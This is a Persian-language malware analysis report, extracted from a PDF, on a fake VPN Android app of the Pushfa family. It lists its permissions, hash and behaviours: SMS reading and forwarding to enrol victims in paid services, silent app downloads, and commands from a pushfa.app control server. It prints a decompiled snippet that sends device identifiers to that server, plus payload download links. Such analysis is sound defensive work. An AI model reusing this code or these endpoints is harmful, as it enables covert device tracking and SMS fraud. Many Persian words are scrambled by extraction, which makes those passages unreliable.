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 چکیده 

فیلترشکن، از دسته بدافزارهای پوشفا پرداخته شده که به تازگی مجددا اقدام برنامه  به بررسی، گزارشدر این 

به تولید و انتشار بدافزار کرده است. این بدافزار با داشتن مجوزهای دریافت، خواندن و ارسال پیامک قادر است 

  https://pushfa.app/مرکز کنترل و فرمان بدافزار نیز در آدرس  نماید. افزودهارزش هایسرویسقربانی را عضو 

اقدامات مختلفی از جمله دانلود و نصبببر برنامه دی ر، باز کردن لینک در  تواندمیقرار دارد که از طریق آن 

سط  ست اه قربانی انجام دهد. این بدافزار در تل رام تو سال پیامک و ... روی د ستردهمرورگر و تل رام، ار  یهاگ

شتر  سی بی شد. در ادامه به برر شته با ست قربانیان زیادی دا شده و ممکن ا شر  تبلیغاتی در چندین کانال منت

 پرداخته شده است. لترشکنیفبدافزار 

 بررسی برنامه فیلترشکن 

 SHA 256 دهندهتوسعهنام  حجم فایل نام بسته نام

 com.apppush.vpnapp 3.27 MB androiddev فیلترشکن

e19b9360644c706ae95b623d677b

342101a19ecf219a2a5e5571630ac

fc1f3d2 

 

 مجوزها 1-2

 .انددر ادامه لیست مجوزهای درخواست شده توسط برنامه با سطح حفاظت خطرناک مشخص شده

 توضیح مجوز ردیف

۱ android.permission.ACCESS_COARSE_LOCATION  دهد تا به مکان تقریبی میبه برنامه اجازه

 دسترسی پیدا کند

۲ android.permission.ACCESS_FINE_LOCATION  دهد تا به مکان دقیق میبه برنامه اجازه

 دسترسی پیدا کند.

۳ android.permission.READ_PHONE_STATE  مجوز دسترسی فقط خواندنی به وضعیت

ماره تلفن دسبببت اه،  له شببب تلفن از جم

اطلاعات فعلی شبکه تلفن همراه، وضعیت 

ی تلفن ثبت ها، لیستی از حسابهاماست

 شده در دست اه

https://pushfa.app/
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۴ android.permission.READ_EXTERNAL_STORAGE  این مجوز بببه برنببامببه کبباربردی امکببان

ندن از فضبببای دیسبببک خارجی را  خوا

 دهدمی

۵ android.permission.WRITE_EXTERNAL_STORAGE  به برنامه کاربردی مجوز نوشبببتن بر روی

دهد. این میفضبببای دیسبببک خارجی را 

در  هامجوز برای خواندن و نوشبببتن فایل

 .ستینی خاص برنامه لازم هادایرکتوری

۶ android.permission.READ_SMS م یا ندن پ جازه خوا مه ا نا را ها کبه بر

 دهد.می

۷ android.permission.RECEIVE_SMS مه نا م به بر یا فت پ یا جازه در را  هاکا

 دهد.می

۸ android.permission.SEND_SMS دهدمیرا  کبه برنامه اجازه ارسال پیام. 

 

 تحلیل رفتار برنامه 2-2

 .اندعملکردهای مخرب برنامه در ادامه لیست شده گیرد.میقرار  pushfaاین برنامه در دسته بدافزارهای 

 نببام دسبببببتبب بباه در ثبببببتhttps://pushfa.app/api/device/register:  بببا اتصبببببال بببه

https://pushfa.app/api/device/register  ست اه کاربر  شود. اطلاعات مختلفی از جملهمی نامثبتد

سط برنامه(، سه، گذرواژه )مقداردهی تو ست  شنا سخهاهسازنده و مدل د سته، ن روید و اندی ، نام ب

 شوند.میارسال  نامثبتاپراتور به لینک 

AndroidNetworking.get("https://pushfa.app/api/device/register").addQueryParameter("device

_password", "Push2017").addQueryParameter("user_key", str2).addQueryParameter("serial", 

getserialnumber(context)).addQueryParameter("id", str).addQueryParameter("Manufacturer", 

Build.MANUFACTURER).addQueryParameter("model", 

Build.MODEL).addQueryParameter("packagename", 

context.getPackageName()).addQueryParameter("SdkVersion", 

String.valueOf(Build.VERSION.SDK_INT)).addQueryParameter("operator", 

GetNetworkOperatorName(context)).setPriority(Priority.LOW).build().getAsString(new 

StringRequestListener() { 
... 

https://pushfa.app/api/device/register
https://pushfa.app/api/device/register
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 در  کاربر نامثبتhttps://pushfa.app/api/generator/user: شود، میدیده  ۱شکل که در  طورهمان

کببه نببام بسبببببتببه اسبببببت، بببه  com.apppush.vpnapp نببامثبببببتدرخببواسبببببت 

https://pushfa.app/api/generator/user  شود.میارسال 

 

 کاربر نامثبتدرخواست  1شکل 

 .است  ۲شکل و  JSONپاسخ به صورت 

 

 نام کاربرپاسخ به درخواست ثبت 2شکل 

 برنامه به صورت خودکار از لینک  این ی بازار جعلی:نصر برنامهpushfa.com/download/Bazar.apk، 

 .(۳شکل ) کندمیبرنامه جعلی کافه بازار را دانلود 

https://pushfa.app/api/generator/user
https://pushfa.app/api/generator/user
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 نصب برنامه بازار جعلی 3شکل 

 .(۴شکل ) دهدمیرخ دقیقه پس از نصر و اجرای برنامه  ۳۰این اتفاق 

 

 دقیقه پس از نصب و اجرای برنامه 3۰نصب برنامه بازار جعلی  4شکل 

 ست نصر در حال اجرا  نصر شده و پس از مدتی که برنامه: دانلود برنامه به صورت خودکار و درخوا

تا زمانی که کاربر آن را نصر  .(۵شکل ) شودمیدیده  ایدرخواست نصر برنامه ،، بر روی صفحهاست

 شود.مینکند، پیام درخواست نصر به کاربر نشان داده 
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 ی دانلود شدهدرخواست نصب برنامه 5شکل 

ی مربوط هادر مسیر فایل mhdiiiiiij.apkتوان دید که فایل میی مربوط به برنامه هاهمچنین با مشاهده لاگ

 .(۷شکل و  ۶شکل ) استبه برنامه دانلود شده و آماده نصر 

 

 لاگ برنامه و نمایش مسیر فایل دانلود شده 6شکل 

 

 

 فایل دانلود شده به صورت خودکار 7شکل 
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 شبببود، محتوای پیامک میکه بر روی گوشبببی، پیامکی دریافت میی دریافتی: هن اهاخواندن پیامک

 .(۸شکل ) شودمیتوسط برنامه بررسی 

 

 های دریافتیخواندن پیامک ۸شکل 

به دنبال کلیدواژه ی بدافزار پوشفا، هارسد، مشابه سایر برنامهمیاگر در متن آن، کلیدواژه خاصی باشد )به نظر 

و فراخوانی  ۸شکل  با توجه به شود.میارسال  ایگردد(، کد فعالسازی استخراج شده و به شمارهمیسازی فعال

 .(9شکل ) شودمیدی ری ارسال  یرسد، پاسخ به شمارهمیبه نظر  sendConvertedShomareتابع 

 

 ارسال پیامک ۹شکل 

 افزوده است چرا کهارزش یهاسیکار، عضو کردن کاربران در سرو نیاز ا سیکه هدف بدافزارنو رسدمیبه نظر 

ساز یهاامکیپ اکثر ساز"عبارت  یافزوده حاوارزش یفعال ستند. همچن "یفعال  زین ی رید یهاسیسرو نیه

 از کنند،میو کد ورود ارسببال  "یفعالسبباز"عبارت  یحاو یامکیکاربر پ ینام، برادارند که به هن ام ثبت وجود

 نیبرنامه همچن نیبه اکانت کاربر وارد شببود. در ا ،یافتیدر یبا اسببتفاده از کدها تواندمی سیرو بدافزارنو نیا

امکیپ شود،ینم دهید کیدر تراف یاشماره چیکه ه یثبت شده که ممکن است در حالات یفرضشیپ یشماره

 .(۱۰شکل ) شماره ارسال کند نیبه ا را ها

 

 

 فرضشماره پیش 1۰شکل 
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 را در دسببت اه بررسببی  میی تل راهاای از برنامهبرنامه نصببر بودن مجموعه نیفان:ها باز کردن کانال

صورتی که برنامه شده ای را پیدا کند، جستجو را کرده و در  ستفاده از برنامه یافت  متوقف کرده و با ا

 .(۱۱شکل ) دهدمینیفان را به کاربر نمایش ها کانال

 

 باز کردن کانال هانیفان 11شکل 

 .(۱۲شکل ) دهدمیدقیقه پس از نصر و اجرای برنامه رخ  ۵۰این اتفاق حدود 

 

دقیقه بعد از نصب و اجرای برنامه 5۰باز کردن کانال هانیفان  12شکل   

 مشبببابهی هابرنامه یبرنامه و برخ نیداده: در کد ا اهیدانلود برنامه از اطلاعات قرار داده شبببده در پا 

موجود در کد برنامه قرار داده شده است.  داده اهیکه قرار است دانلود شود در پا یابرنامه نکیل ، رید

 :دندار داده وجود اهیدر پا ریز نکیل ۳برنامه  نیدر ا

 http://up.dailymobile.ir/dl/files/bam-v2.4-Android4.4AndUp_dailymobile.ir.apk 

 https://www.dl.farsroid.com/app/Storage-Redirect-(ROOT)-Premium-

1.0.0(www.farsroid.com).apk 

 http://dl2.dailymobile.ir/app/files/asus.calculator_5.0.0.16S17_dailymobile.ir.apk 

http://up.dailymobile.ir/dl/files/bam-v2.4-Android4.4AndUp_dailymobile.ir.apk
https://www.dl.farsroid.com/app/Storage-Redirect-(ROOT)-Premium-1.0.0(www.farsroid.com).apk
https://www.dl.farsroid.com/app/Storage-Redirect-(ROOT)-Premium-1.0.0(www.farsroid.com).apk
http://dl2.dailymobile.ir/app/files/asus.calculator_5.0.0.16S17_dailymobile.ir.apk
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 ای به نام ۱در این برنامه گیرندهrecivers.PushFaGcmRecivercom.apppush.vpnapp.  وجود دارد

یکی از اقدامات زیر  CheckNullدریافت شبببده و مقدار پارامتر  JSONکه در آن با توجه به شبببی  

گیرد. در حقیقت با دریافت پیام از سببرویس پوشببفا، برنامه یکی از کارهای زیر را انجام میصببورت 

 دهد:می

 هابرنامه نصر خودکار .۱

 

 هانصب خودکار برنامه 13شکل 

 ارسال پیامک .۲

                                                   

 

 

1 Receiver 
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 ارسال پیامک 14شکل 

 

 

 ارسال پیامک 15شکل 

 

 

 باز کردن لینکی در تل رام .۳
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 باز کردن لینکی در تلگرام 16شکل 

 باز شدن دیالوگی برای نصر یک برنامه .۴

 

 باز شدن دیالوگی برای نصب یک برنامه 17شکل 

 پیامک مشاهده .۵
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 مشاهده پیامک 1۸شکل 

 

 

 مشاهده پیامک 1۹شکل 



 پوشفا - لترشکنیبدافزار ف لیتحل

13 
 

 
 

 باز کردن موبوگرام .۶

 

 باز کردن موبوگرام 2۰شکل 

 روی دست اهبررسی مرورگر موجود بر  .۷

 

 بررسی مرورگر موجود بر روی دستگاه 21شکل 

 باز کردن کانال تل رامی .۸
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 باز کردن کانال تلگرامی 22شکل 

 نصر برنامه .9

 

 نصب برنامه 23شکل 

 باز کردن یک برنامه .۱۰

 

 باز کردن یک برنامه 24شکل 

 ارسال پیامک بدون باز کردن دیالوگ .۱۱
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 ارسال پیامک بدون باز کردن دیالوگ 25شکل 

 و باز کردن آن میی تل راهابررسی نصر بودن برنامه .۱۲
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 و باز کردن آن های تلگرامیبررسی نصب بودن برنامه 26شکل 

 

 و عضویت در آن میکانال تل راباز کردن  .۱۳

 

 و عضویت در آن باز کردن کانال تلگرامی 27شکل 
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 دانلود برنامه .۱۴

 

 دانلود برنامه 2۸شکل 

 در کافه بازار یابرنامهباز کردن لینک  .۱۵

 

 در کافه بازار یابرنامهباز کردن لینک  2۹شکل 

 ای برای فعال کردن مجوز مدیریتیگیرنده 

 

 ای برای فعال کردن مجوز مدیریتیگیرنده 3۰شکل 

شود که برای استفاده از امکانات میدر این برنامه، از کاربر درخواست  MainActivityهمچنین در قسمتی از 

 .(۳۱شکل ) کندفعال  ، دسترسی محافظت شده رابرنامه
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 درخواست فعالسازی دسترسی محافظت شده 31شکل 

 


